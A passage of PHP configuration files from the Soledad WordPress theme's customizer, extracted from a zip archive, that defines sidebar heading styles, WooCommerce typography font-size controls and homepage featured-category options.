		'style-12'          => __( 'Style 12', 'soledad' ),
		'style-13'          => __( 'Style 13', 'soledad' ),
		'style-14'          => __( 'Style 14', 'soledad' ),
		'style-15'          => __( 'Style 15', 'soledad' ),
		'style-16'          => __( 'Style 16', 'soledad' ),
		'style-2 style-17'  => __( 'Style 17', 'soledad' ),
		'style-18'          => __( 'Style 18', 'soledad' ),
		'style-18 style-19' => __( 'Style 19', 'soledad' ),
		'style-18 style-20' => __( 'Style 20', 'soledad' ),
		'style-21'          => __( 'Style 21', 'soledad' ),
		'style-22'          => __( 'Style 22', 'soledad' ),
		'style-23'          => __( 'Style 23', 'soledad' ),
		'style-24'          => __( 'Style 24', 'soledad' ),
		'style-25'          => __( 'Style 25', 'soledad' ),
		'style-26'          => __( 'Style 26', 'soledad' ),
		'style-27'          => __( 'Style 27', 'soledad' ),
		'style-28'          => __( 'Style 28', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'esc_url_raw',
	'label'    => __( 'Custom Background Image for Style 9', 'soledad' ),
	'id'       => 'penci_sidebar_heading_image_8',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => 'no-repeat',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Background Image Repeat for Style 9', 'soledad' ),
	'id'       => 'penci_sidebar_heading8_repeat',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'no-repeat' => __( 'No Repeat', 'soledad' ),
		'repeat'    => __( 'Repeat', 'soledad' )
	)
);
$options[] = array(
	'default'  => 'pcalign-center',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Sidebar Widget Heading Align', 'soledad' ),
	'id'       => 'penci_sidebar_heading_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'pcalign-center' => __( 'Center', 'soledad' ),
		'pcalign-left'   => __( 'Left', 'soledad' ),
		'pcalign-right'  => __( 'Right', 'soledad' )
	)
);
$options[] = array(
	'default'  => 'pciconp-right',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Align Icon on Style 15', 'soledad' ),
	'id'       => 'penci_sidebar_icon_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'pciconp-right' => 'Right',
		'pciconp-left'  => 'Left',
	)
);
$options[] = array(
	'default'  => 'pcicon-right',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Custom Icon on Style 15', 'soledad' ),
	'id'       => 'penci_sidebar_icon_design',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'pcicon-right' => __( 'Arrow Right', 'soledad' ),
		'pcicon-left'  => __( 'Arrow Left', 'soledad' ),
		'pcicon-down'  => __( 'Arrow Down', 'soledad' ),
		'pcicon-up'    => __( 'Arrow Up', 'soledad' ),
		'pcicon-star'  => __( 'Star', 'soledad' ),
		'pcicon-bars'  => __( 'Bars', 'soledad' ),
		'pcicon-file'  => __( 'File', 'soledad' ),
		'pcicon-fire'  => __( 'Fire', 'soledad' ),
		'pcicon-book'  => __( 'Book', 'soledad' ),
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Border Outer on Widget Heading', 'soledad' ),
	'id'       => 'penci_sidebar_remove_border_outer',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Arrow Down on Widget Heading', 'soledad' ),
	'id'       => 'penci_sidebar_remove_arrow_down',
	'type'     => 'soledad-fw-toggle',
);

return $options;
PK     0w\h`  `  D  customizer/config/sections/pencidesign_woo_typo_settings_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Product Item Font Size', 'soledad' ),
	'id'       => 'penci_woo_section_product_loop_typo',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'       => 'pencidesign_woo_product_loop_title_m_font_size',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Product Item Title', 'soledad' ),
	'id'       => 'pencidesign_woo_product_loop_title_font_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_product_loop_title_font_size',
		'mobile'  => 'pencidesign_woo_product_loop_title_m_font_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => '',
	'id'       => 'pencidesign_woo_product_loop_list_title_m_font_size',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Product Item Title on Listing Layout', 'soledad' ),
	'id'       => 'pencidesign_woo_product_loop_list_title_font_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_product_loop_list_title_font_size',
		'mobile'  => 'pencidesign_woo_product_loop_list_title_m_font_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_product_loop_meta_m_font_size',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Product Meta', 'soledad' ),
	'id'       => 'pencidesign_woo_product_loop_meta_font_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_product_loop_meta_font_size',
		'mobile'  => 'pencidesign_woo_product_loop_meta_m_font_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_product_loop_price_m_font_size',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Product Price', 'soledad' ),
	'id'       => 'pencidesign_woo_product_loop_price_font_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_product_loop_price_font_size',
		'mobile'  => 'pencidesign_woo_product_loop_price_m_font_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_product_loop_button_icon_m_size',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Button Icon', 'soledad' ),
	'id'       => 'pencidesign_woo_product_loop_button_icon_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_product_loop_button_icon_size',
		'mobile'  => 'pencidesign_woo_product_loop_button_icon_m_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_product_loop_button_3_m_size',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Button - Product Style 3', 'soledad' ),
	'id'       => 'pencidesign_woo_product_loop_button_3_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_product_loop_button_3_size',
		'mobile'  => 'pencidesign_woo_product_loop_button_3_m_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_product_loop_button_4_m_size',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Button - Product Style 4', 'soledad' ),
	'id'       => 'pencidesign_woo_product_loop_button_4_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_product_loop_button_4_size',
		'mobile'  => 'pencidesign_woo_product_loop_button_4_m_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_product_loop_button_5_m_size',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Button - Product Style 5', 'soledad' ),
	'id'       => 'pencidesign_woo_product_loop_button_5_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_product_loop_button_5_size',
		'mobile'  => 'pencidesign_woo_product_loop_button_5_m_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
/* Product Category Loop */
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Product Category Loop Font Size', 'soledad' ),
	'id'       => 'penci_woo_section_product_cat_typo',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'penci_woo_loop_cat_font_size_m',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Product Category Title', 'soledad' ),
	'id'       => 'penci_woo_loop_cat_font_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_woo_loop_cat_font_size',
		'mobile'  => 'penci_woo_loop_cat_font_size_m',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'penci_woo_loop_meta_font_size_m',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Product Category Meta', 'soledad' ),
	'id'       => 'penci_woo_loop_meta_font_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_woo_loop_meta_font_size',
		'mobile'  => 'penci_woo_loop_meta_font_size_m',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
/* Single Product */
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Single Product Font Size', 'soledad' ),
	'id'       => 'penci_woo_section_product_single_typo',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_m_product_price',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Product Title', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_product_single_title',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_product_single_title',
		'mobile'  => 'pencidesign_woo_fontsize_product_single_m_title',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_m_product_price',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Product Price', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_product_price',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_product_price',
		'mobile'  => 'pencidesign_woo_fontsize_m_product_price',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_m_product_breadcrumb',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Product Breadcrumb', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_product_meta',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_product_breadcrumb',
		'mobile'  => 'pencidesign_woo_fontsize_m_product_breadcrumb',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Product General Text', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_product_general',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_product_general',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 300,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_product_tab_m_title',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Product Tab Title', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_product_meta',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_product_tab_title',
		'mobile'  => 'pencidesign_woo_fontsize_product_tab_m_title',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_m_product_meta',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Product Meta', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_product_meta',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_product_meta',
		'mobile'  => 'pencidesign_woo_fontsize_m_product_meta',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
/* Cart/Checkout/Thank you page */
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Additional Pages Font Size', 'soledad' ),
	'id'       => 'penci_woo_section_product_additional_pages_typo',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_pages_nav_font_size_m',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Navigation Step', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_pages_nav_font_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_pages_nav_font_size',
		'mobile'  => 'pencidesign_woo_fontsize_pages_nav_font_size_m',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_pages_table_th_m',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Table Head', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_pages_table_th',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_pages_table_th',
		'mobile'  => 'pencidesign_woo_fontsize_pages_table_th_m',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_pages_table_product_title_m',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Table Product Title', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_pages_table_product_title',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_pages_table_product_title',
		'mobile'  => 'pencidesign_woo_fontsize_pages_table_product_title_m',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_pages_table_product_price_m',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Table Product Price', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_pages_table_product_price',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_pages_table_product_price',
		'mobile'  => 'pencidesign_woo_fontsize_pages_table_product_price_m',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_pages_table_product_subtotal_m',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Table Product Sub Total', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_pages_table_product_subtotal',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_pages_table_product_subtotal',
		'mobile'  => 'pencidesign_woo_fontsize_pages_table_product_subtotal_m',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_pages_table_product_quantity_m',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Table Product Quantity Input', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_pages_table_product_quantity',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_pages_table_product_quantity',
		'mobile'  => 'pencidesign_woo_fontsize_pages_table_product_quantity_m',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_pages_cart_total_h2_m',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Cart Total Heading', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_pages_cart_total_h2',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_pages_cart_total_h2',
		'mobile'  => 'pencidesign_woo_fontsize_pages_cart_total_h2_m',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_pages_button_m',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Button', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_pages_button',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_pages_button',
		'mobile'  => 'pencidesign_woo_fontsize_pages_button_m',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
/* Checkout Form Font Size */
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Check out Form Font Size', 'soledad' ),
	'id'       => 'penci_woo_section_checkout_font_size',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_checkout_form_label_m',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Form Label', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_checkout_form_label',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_checkout_form_label_m',
		'mobile'  => 'pencidesign_woo_fontsize_checkout_form_label',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_checkout_form_input_m',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Form Input', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_checkout_form_input',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_checkout_form_input',
		'mobile'  => 'pencidesign_woo_fontsize_checkout_form_input_m',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_checkout_order_heading_m',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Heading', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_checkout_order_heading',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_checkout_order_heading',
		'mobile'  => 'pencidesign_woo_fontsize_checkout_order_heading_m',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_checkout_order_button_m',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Order Button', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_checkout_order_button',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_checkout_order_button',
		'mobile'  => 'pencidesign_woo_fontsize_checkout_order_button_m',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
/* Other Font Size */
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Other Product Font Size', 'soledad' ),
	'id'       => 'penci_woo_section_product_other_typo',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_m_product_label',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Product Label', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_product_label',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_product_label',
		'mobile'  => 'pencidesign_woo_fontsize_m_product_label',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
PK     0w\27  27  J  customizer/config/sections/penci_section_homepage_featured_cat_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'List Featured Categories', 'soledad' ),
	'id'          => 'penci_home_featured_cat',
	'description'=>__('By default, this option apply only for Homepage Magazine(style 1 and style 2) layout, copy and paste categories slug you want display above Latest Posts here - check <a class="wp-customizer-link" rel="nofollow" href="https://imgresources.s3.amazonaws.com/magazine-2.png" target="_blank">this image</a> to understand what is categories slug. Example: You want display categories "Life Style, Travel, Music" above Latest Posts, fill categories slug like "life-style, travel, music"','soledad'),
	'type'        => 'soledad-fw-textarea',
	'transport'       => 'postMessage',
	'partial_refresh'    => [
		'penci_home_featured_cat' => [
			'selector'        => '.home-featured-cat',
			'render_callback' => 'penci_home_featured_cat',
		],
	],
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Featured Categories for All Homepage Layouts - Not for Magazine Layouts Only', 'soledad' ),
	'id'       => 'penci_enable_featured_cat_all_layouts',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Move Latest Posts To Above Featured Categories', 'soledad' ),
